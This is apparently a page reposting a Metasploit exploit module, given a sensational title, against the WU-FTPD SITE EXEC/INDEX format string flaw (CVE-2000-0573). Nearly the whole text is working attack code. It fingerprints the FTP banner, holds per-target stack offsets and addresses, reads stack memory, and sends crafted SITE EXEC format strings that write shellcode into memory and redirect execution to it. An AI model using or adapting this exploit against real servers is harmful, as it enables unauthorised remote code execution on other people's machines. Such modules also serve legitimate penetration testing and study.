10 MOST WANTED FBI CODES ! metasploit-framework/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb

##
	# This module requires Metasploit: http://metasploit.com/download
	# Current source: https://github.com/rapid7/metasploit-framework
	##
	class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking
	include Msf::Exploit::Remote::Ftp
	include Msf::Exploit::FormatString
	def initialize(info = {})
	super(update_info(info,
	'Name' => 'WU-FTPD SITE EXEC/INDEX Format String Vulnerability',
	'Description' => %q{
	This module exploits a format string vulnerability in versions of the
	Washington University FTP server older than 2.6.1. By executing
	specially crafted SITE EXEC or SITE INDEX commands containing format
	specifiers, an attacker can corrupt memory and execute arbitrary code.
	},
	'Author' => [ 'jduck' ],
	'References' =>
	[
	['CVE', '2000-0573'],
	['OSVDB', '11805'],
	['BID', '1387']
	],
	'DefaultOptions' =>
	{
	'EXITFUNC' => 'process',
	'PrependChrootBreak' => true
	},
	'Privileged' => true,
	'Payload' =>
	{
	# format string max length
	'Space' => 256,
	# NOTE: \xff's need to be doubled (per ftp/telnet stuff)
	'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x2f",
	'DisableNops' => 'True',
	'StackAdjustment' => -1500
	},
	'Platform' => [ 'linux' ],
	'Targets' =>
	[
	#
	# Automatic targeting via fingerprinting
	#
	[ 'Automatic Targeting', { 'auto' => true } ],
	#
	# specific targets
	#
	[ 'Slackware 2.1 (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)',
	{
	'UseDPA' => false,
	'PadBytes' => 3,
	'NumPops' => 8,
	'AddrPops' => 100,
	'Offset' => -2088, # offset to stack return
	'Writable' => 0xbfffde26, # stack, avoid badchars
	'FlowHook' => -1, # auto now... 0xbffff1e4 # stack return addr
	}
	],
	# these aren't exploitable (using built-in, stripped down vsprintf, no %n)
	#[ 'RedHat 5.2 (Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998)',
	#[ 'RedHat 6.0 (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999)',
	#[ 'RedHat 6.1 (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999)',
	[ 'RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)',
	{
	'UseDPA' => true,
	'PadBytes' => 2,
	'NumPops' => 276,
	'AddrPops' => 2,
	'Offset' => -17664, # offset to stack return
	'Writable' => 0x806e726, # bss
	#'Writable' => 0xbfff0126, # stack, avoid badchars
	'FlowHook' => -1, # auto now... 0xbfffb028 # stack return addr
	#'FlowHook' => 0x806e1e0 # GOT of sprintf
	}
	],
	#
	# this one will detect the parameters automagicly
	#
	[ 'Debug',
	{
	'UseDPA' => false,
	'PadBytes' => 0,
	'NumPops' => 0,
	'AddrPops' => -1,
	'Offset' => -1,
	'Writable' => 0x41414242, #
	'FlowHook' => 0x43434545 #
	}
	],
	],
	'DefaultTarget' => 0,
	'DisclosureDate' => 'Jun 22 2000'))
	register_options(
	[
	Opt::RPORT(21),
	])
	end
	def check
	# NOTE: We don't care if the login failed here...
	ret = connect_login
	# We just want the banner to check against our targets..
	vprint_status("FTP Banner: #{banner.strip}")
	status = Exploit::CheckCode::Safe
	if banner =~ /Version wu-2\.(4|5)/
	status = Exploit::CheckCode::Appears
	elsif banner =~ /Version wu-2\.6\.0/
	status = Exploit::CheckCode::Appears
	end
	# If we've made it this far, we care if login succeeded.
	if (ret)
	# NOTE: vulnerable and exploitable might not mean the same thing here :)
	if not fmtstr_detect_vulnerable
	status = Exploit::CheckCode::Safe
	end
	if not fmtstr_detect_exploitable
	status = Exploit::CheckCode::Safe
	end
	end
	disconnect
	return status
	end
	def exploit
	if (not connect_login)
	fail_with(Failure::Unknown, 'Unable to authenticate')
	end
	# Use a copy of the target
	mytarget = target
	if (target['auto'])
	mytarget = nil
	print_status("Automatically detecting the target...")
	if (banner and (m = banner.match(/\(Version wu-(.*)\) ready/))) then
	print_status("FTP Banner: #{banner.strip}")
	version = m[1]
	else
	fail_with(Failure::NoTarget, "No matching target")
	end
	regexp = Regexp.escape(version)
	self.targets.each do |t|
	if (t.name =~ /#{regexp}/) then
	mytarget = t
	break
	end
	end
	if (not mytarget)
	fail_with(Failure::NoTarget, "No matching target")
	end
	print_status("Selected Target: #{mytarget.name}")
	else
	print_status("Trying target #{mytarget.name}...")
	if banner
	print_status("FTP Banner: #{banner.strip}")
	end
	end
	# proceed with chosen target...
	# detect stuff!
	if mytarget.name == "Debug"
	#fmtstr_set_caps(true, true)
	# dump the stack, so we can detect stuff magically
	print_status("Dumping the stack...")
	stack = Array.new
	extra = "aaaabbbb"
	1000.times do |x|
	dw = fmtstr_stack_read(x+1, extra)
	break if not dw
	stack << dw
	end
	stack_data = stack.pack('V*')
	print_status("Obtained #{stack.length*4} bytes of stack data:\n" + Rex::Text.to_hex_dump(stack_data))
	# detect the number of pad bytes
	idx = stack_data.index("aaaabbbb")
	if not idx
	fail_with(Failure::Unknown, "Whoa, didn't find the static bytes on the stack!")
	end
	num_pad = 0
	num_pad = 4 - (idx % 4) if (idx % 4) > 0
	mytarget.opts['PadBytes'] = num_pad
	# calculate the number of pops needed to hit our addr
	num_pops = (idx + num_pad) / 4
	mytarget.opts['NumPops'] = num_pops
	else
	num_pad = mytarget['PadBytes']
	num_pops = mytarget['NumPops']
	sc_loc = mytarget['Writable']
	ret = mytarget['FlowHook']
	end
	print_status("Number of pad bytes: #{num_pad}")
	print_status("Number of pops: #{num_pops}")
	# debugging -> don't try it!
	return if mytarget.name == "Debug"
	#print_status("ATTACH!")
	#select(nil,nil,nil,5)
	fmtstr_detect_caps
	# compute the stack return address using the fmt to leak memory
	addr_pops = mytarget['AddrPops']
	offset = mytarget['Offset']
	if addr_pops > 0
	stackaddr = fmtstr_stack_read(addr_pops)
	print_status("Read %#x from offset %d" % [stackaddr, addr_pops])
	ret = stackaddr + offset
	end
	print_status("Writing shellcode to: %#x" % sc_loc)
	print_status("Hijacking control via %#x" % ret)
	# no extra bytes before the padding..
	num_start = 0
	# write shellcode to 'writable'
	arr = fmtstr_gen_array_from_buf(sc_loc, payload.encoded, mytarget)
	# process it in groups of 24 (max ~400 bytes per command)
	sc_num = 1
	while arr.length > 0
	print_status("Sending part #{sc_num} of the payload...")
	sc_num += 1
	narr = arr.slice!(0..24)
	fmtbuf = fmtstr_gen_from_array(num_start, narr, mytarget)
	# a space allows the next part to start with a '/'
	fmtbuf[num_pad-1,1] = " "
	fmtbuf.gsub!(/\xff/, "\xff\xff")
	if ((res = send_cmd(['SITE', 'EXEC', fmtbuf], true)))
	if res[0,4] == "500 "
	fail_with(Failure::Unknown, "Something went wrong when uploading the payload...")
	end
	end
	end
	# write 'writable' addr to flowhook (execute shellcode)
	# NOTE: the resulting two writes must be done at the same time
	print_status("Attempting to write %#x to %#x.." % [sc_loc, ret])
	fmtbuf = generate_fmt_two_shorts(num_start, ret, sc_loc, mytarget)
	# a space allows the next part to start with a '/'
	fmtbuf[num_pad-1,1] = " "
	fmtbuf.gsub!(/\xff/, "\xff\xff")
	# don't wait for the response here :)
	res = send_cmd(['SITE', 'EXEC', fmtbuf], false)
	print_status("Your payload should have executed now...")
	handler
	end
	#
	# these two functions are used to read stack memory
	# (used by fmtstr_stack_read()
	#
	def trigger_fmt(fmtstr)
	return nil if fmtstr.length >= (512 - (4+1 + 4+1 + 2 + 2))
	send_cmd(['SITE', 'EXEC', 'x', fmtstr], true)
	end
	def extract_fmt_output(res)
	if (res =~ /^5.. /)
	#throw "Crap! Something went wrong while dumping the stack..."
	return nil
	end
	ret = res.strip.split(/\r?\n/)[0]
	ret = ret[6,ret.length]
	return ret
	end
	end https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb